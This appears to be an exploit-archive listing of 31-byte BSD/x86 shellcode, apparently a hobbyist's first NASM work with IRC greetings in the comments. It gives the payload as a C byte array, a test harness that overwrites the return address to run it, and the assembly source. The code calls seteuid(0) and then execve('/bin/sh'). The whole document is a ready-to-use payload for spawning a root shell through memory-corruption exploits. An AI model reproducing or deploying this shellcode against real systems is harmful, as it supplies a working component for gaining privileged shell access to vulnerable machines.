BSD/x86 - execve (/bin/sh) + seteuid(0) Shellcode (31 bytes)

/*
simply  execve_binsh+seteuid(0) shellcode in 31 bytes
written on nasm - my first nasm exp.
greetz2:
    mig #darknet /EFnet.org
    nerf    #nerf    /EFnet.org
                dev0id #rus-sec /EFnet.org (rootteam.void.ru)
*/
 
char shellcode[] =
    "\x31\xc0\x50\xb0\xb7\xcd\x80\x50\x31\xc0\x50\x68\x2f\x2f\x73"
    "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd"
    "\x80";
void
main()
{
    int *ret;
    ret=(int*)&ret+2;
    (*ret)=(int)shellcode;
}
 
/****************************************
--------------start---------------------
BITS 32
 
main:
    xor     eax,eax
    push        eax
    mov     al,183
    int     0x80
    push        eax
    xor     eax,eax
    push        eax
    push long   0x68732f2f
    push long   0x6e69622f
    mov     ebx,esp
    push        eax
    push        esp
    push        ebx
    mov     al,59
    push        eax
    int     0x80
 
    ;mov        al,1    need exit? I do not!
    ;push       eax
    ;int        0x80
---------------end----------------------
compilation:
    %nasm code.s -o code
****************************************/